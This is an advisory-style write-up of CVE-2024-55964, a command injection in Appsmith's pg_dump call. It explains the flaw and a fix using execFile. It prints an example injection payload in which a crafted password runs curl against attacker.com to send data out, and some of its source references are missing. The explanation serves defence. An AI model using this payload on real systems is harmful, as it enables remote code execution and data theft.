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The vulnerability CVE-2024-55964 exists in how an application, such as Appsmith, constructs a shell command to interact with a PostgreSQL database . The code directly inserts user-controlled configuration values, specifically the database password, into a command string without any sanitization. As shown in the , the command is built using template literals like PGPASSWORD="${this.config.password}" pg_dump. An attacker who can control these configuration settings—perhaps through compromised admin credentials or another injection flaw—can manipulate the password value. By providing a value like password"; malicious-command; echo ", the attacker can break out of the intended string context. When the shell executes the command, it first sets the environment variable, but the semicolon (;) terminates that statement and allows the attacker to execute an arbitrary, subsequent command (malicious-command) on the host system. This results in full remote code execution with the same privileges as the application, leading to a complete system compromise .
dailycve form:
Platform: Appsmith/PostgreSQL
Version: before 1.52
Vulnerability: Code Injection
Severity: Critical
date: 26 March 2025
Prediction: Patch already released
What Undercode Say:
Analytics:
This vulnerability falls under CWE-94, improper control of code generation . Its critical CVSS score of 9.8 is due to the network attack vector, low complexity, and no required privileges, meaning an unauthenticated attacker could potentially exploit this if they can reach the configuration interface .
Exploit:
A basic proof-of-concept for this command injection would involve setting a malicious database password to break out of the intended command.
Example of a malicious password string password"; curl http://attacker.com/exfiltrate-data; echo "
If the vulnerable code constructs a command like this:
The vulnerable command construction pattern PGPASSWORD="$MALICIOUS_PASSWORD" pg_dump --schema-only dbname
The resulting effective command becomes:
Resulting command with injected payload PGPASSWORD="password"; curl http://attacker.com/exfiltrate-data; echo """ pg_dump --schema-only dbname
Protection from this CVE:
The primary fix involves avoiding shell command strings altogether. Instead, use native APIs that separate commands from arguments. The demonstrates this by switching to `execFile` from child_process.
Secure method: Use execFile with arguments array
const { execFile } = require('child_process');
const env = { ...process.env, PGPASSWORD: this.config.password };
const args = ['--schema-only', '--host', this.config.host, '--dbname', this.config.database];
execFile('pg_dump', args, { env }, (error, stdout) => {
if (error) throw error;
console.log(stdout);
});
Additionally, strict validation of all configuration inputs (host, database name, user) against an allowlist of acceptable characters is crucial to prevent injection.
Impact:
Successful exploitation allows an attacker to execute arbitrary operating system commands . This can lead to complete system compromise, including data exfiltration, installation of backdoors, or lateral movement within the network. Since the application handles database connections, an attacker could also leverage this to dump or destroy all database contents.
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Sources:
Reported By: github.com
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